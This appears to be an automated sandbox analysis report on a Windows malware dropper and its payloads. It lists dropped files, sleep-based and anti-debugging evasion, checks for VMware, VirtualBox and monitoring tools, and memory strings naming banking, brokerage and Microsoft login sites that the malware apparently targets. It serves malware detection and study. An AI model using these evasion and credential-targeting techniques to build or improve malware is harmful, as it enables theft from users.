Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\is-U2S42.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\is-99KJO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\is-2FJL8.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\is-3LABF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\eKhLlZQ.cpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\is-JE3T2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\is-BEO98.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\mousehelper.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\Qt5WinExtras.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\Qt5Svg.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\is-KQVQS.tmp	Jump to dropped file

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe TID: 2672	Thread sleep count: 280 > 30	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe TID: 2672	Thread sleep time: -56000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe TID: 6800	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe TID: 5292	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe TID: 3168	Thread sleep count: 113 > 30
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe TID: 2892	Thread sleep count: 56 > 30
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe TID: 2892	Thread sleep count: 44 > 30
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe TID: 1868	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe TID: 7456	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 18224	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7060	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\kat806.tmp TID: 2748	Thread sleep count: 1120 > 30
Source: C:\Users\user\AppData\Local\Temp\kat806.tmp TID: 2748	Thread sleep time: -7840000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7912	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Turquoise CD Player\turquoisecdplayer.exe

File opened: PhysicalDrive0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Last function: Thread delayed
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Last function: Thread delayed
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Last function: Thread delayed
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Last function: Thread delayed
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\kat806.tmp	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\kat806.tmp	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: 9_2_00464303 FindFirstFileExW,		9_2_00464303
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: 11_2_00AB4303 FindFirstFileExW,		11_2_00AB4303

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: RPA18tS89oJgBrOTDKzODMll.exe, 00000015.00000002.2638218770.0000000140CE7000.00000020.00000001.01000000.00000015.sdmp	Binary or memory string: hgFSu
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: formVMware20,11696428655
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ccount.microsoft.com/profileVMware20,11696428655u
Source: CHA0VZiz8y.exe, CHA0VZiz8y.exe, 00000000.00000003.2061989143.00000000004D8000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016C0000.00000004.00000020.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000103C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,116964288
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696
Source: ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2316053830.00000000011E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: eVMware20,11696428655
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r global passwords blocklistVMware20,11696428655
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696428655
Source: ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2434788379.0000000005F69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}42r(Q
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CT name, value FROM autofillmain'.sqlite_masterr global passwords blocklistVMware20,11696428655
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ra Change Transaction PasswordVMware20,11696428655
Source: MYZqYdU5cUVwEz2j0JYbnTar.exe, 00000011.00000002.2593523697.0000000002C02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2385443354.0000000001BBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}r
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o.inVMware20,11696428655~
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2348977725.0000000002B30000.00000004.00001000.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2336458213.0000000002B30000.00000004.00001000.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2338090055.0000000002B30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlm.exeSDT\VBOX__
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428650
Source: svchost.exe, 00000004.00000003.2055807324.000001F53C844000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2434788379.0000000005F69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_EAC95D3A9uNEl3eJu
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2385443354.0000000001BBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,116
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARtive Brokers - non-EU EuropeVMware20,11696428655
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2342949093.0000000002B30000.00000004.00001000.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2346546145.0000000002B30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeSDT\VBOX__
Source: CHA0VZiz8y.exe, 00000000.00000003.2061989143.00000000004D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: comVMware20,11696428655o
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: CHA0VZiz8y.exe, 00000000.00000000.2042780936.0000000140AAD000.00000080.00000001.01000000.00000003.sdmp	Binary or memory string: <$hGfSuA_A
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rootpagecomVMware20,11696428655o
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2336310475.0000000002B30000.00000004.00001000.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2336021769.0000000002B30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlp.exeSDT\VBOX__
Source: MYZqYdU5cUVwEz2j0JYbnTar.exe, 00000011.00000002.2593523697.0000000002C02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pageformVMware20,11696428655
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tive Brokers - non-EU EuropeVMware20,11696428655
Source: svchost.exe, 00000002.00000002.2358453390.000001F785C02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2351488770.0000000002B30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeST\VBOX__
Source: ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2434788379.0000000005F69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_EAC95D3A
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2356479664.0000000002B30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnmp.exeSDT\VBOX__
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	API call chain: ExitProcess graph end node	graph_7-41079
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	API call chain: ExitProcess graph end node	graph_7-40906
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process queried: DebugObjectHandle	Jump to behavior
